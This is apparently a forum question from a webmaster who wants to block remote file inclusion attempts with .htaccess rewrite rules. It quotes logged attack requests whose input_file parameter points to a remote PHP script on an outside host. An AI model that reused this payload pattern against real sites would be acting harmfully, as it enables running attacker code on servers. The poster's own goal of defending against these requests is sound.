Assume the following as the url structure
sitename.com/projectname/subsection/scriptname.php
In my logs i can see users requesting the above url for exploitation as follows
/projectname//scriptname.php?input_file=http://studentwine.co.uk/cox/kenx.php??
for which i am sending 404 as response
YET
i wanted to block those request from the htaccess level and not from my php code. entirely.
previously i had been hit by requests like the following
/projectname/subsection/scriptname.php?input_file=http://studentwine.co.uk/cox/kenx.php??
so after searching the internet i added a redirect rule in my htaccess which is saved in /projectname like the following
RewriteEngine on
RewriteRule ^(.*)subsection/scriptname(.*)$ /index.php [F,L]
RewriteCond $1 !^(index\.php|images|css)
RewriteRule ^(.*)$ index.php/$1 [L]
#RewriteRule ^(.*)$ ./index.php?/$1 [L]
for a while i did not get any of such requests. and then recently users started requesting like the following
/projectname//scriptname.php?input_file=http://studentwine.co.uk/cox/kenx.php??
I want to know how to add redirect rule which will redirect it to index.php from htaccess?